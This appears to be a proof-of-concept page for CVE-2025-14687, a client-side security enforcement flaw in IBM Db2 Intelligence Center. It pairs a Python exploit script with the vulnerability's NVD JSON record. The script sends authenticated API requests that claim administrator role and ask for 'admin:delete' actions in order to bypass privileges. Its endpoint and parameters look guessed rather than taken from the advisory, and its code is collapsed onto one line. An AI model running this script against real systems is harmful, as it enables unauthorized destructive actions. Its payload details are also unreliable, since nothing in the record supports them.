CVE-2025-14687

# CVE-2025-14687 PoC - IBM Db2 Intelligence Center Privilege Bypass # This PoC demonstrates the client-side security enforcement bypass import requests import json TARGET_URL = "https://target-server/ibm/dbi/api" ATTACKER_TOKEN = "your-authenticated-user-token" def exploit_privilege_bypass(): headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Original request with limited privileges original_payload = { "action": "query", "resource_id": "12345" } # Malicious request attempting to escalate privileges # by modifying client-side security parameters malicious_payload = { "action": "admin:delete", "resource_id": "12345", "user_role": "administrator", "force_execute": True } print("[*] Sending original request...") response1 = requests.post(TARGET_URL, json=original_payload, headers=headers) print(f"[*] Response: {response1.status_code}") print("[*] Sending malicious request with elevated privileges...") response2 = requests.post(TARGET_URL, json=malicious_payload, headers=headers) print(f"[*] Response: {response2.status_code}") print(f"[*] Response body: {response2.text}") if response2.status_code == 200 and "success" in response2.text.lower(): print("[!] Vulnerability confirmed: Privilege bypass successful!") return True return False if __name__ == "__main__": exploit_privilege_bypass()

{"cve": {"id": "CVE-2025-14687", "sourceIdentifier": "[email protected]", "published": "2025-12-26T14:15:58.347", "lastModified": "2026-01-14T20:46:53.187", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Db2 Intelligence Center 1.1.0, 1.1.1, 1.1.2 could allow an authenticated user to perform unauthorized actions due to client-side enforcement of sever side security mechanisms."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-602"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-Other"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2_intelligence_center:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.1.0", "versionEndExcluding": "1.1.3", "matchCriteriaId": "2F3B9DFB-4FB6-4178-A8BB-CBA866FC8BF1"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7255160", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}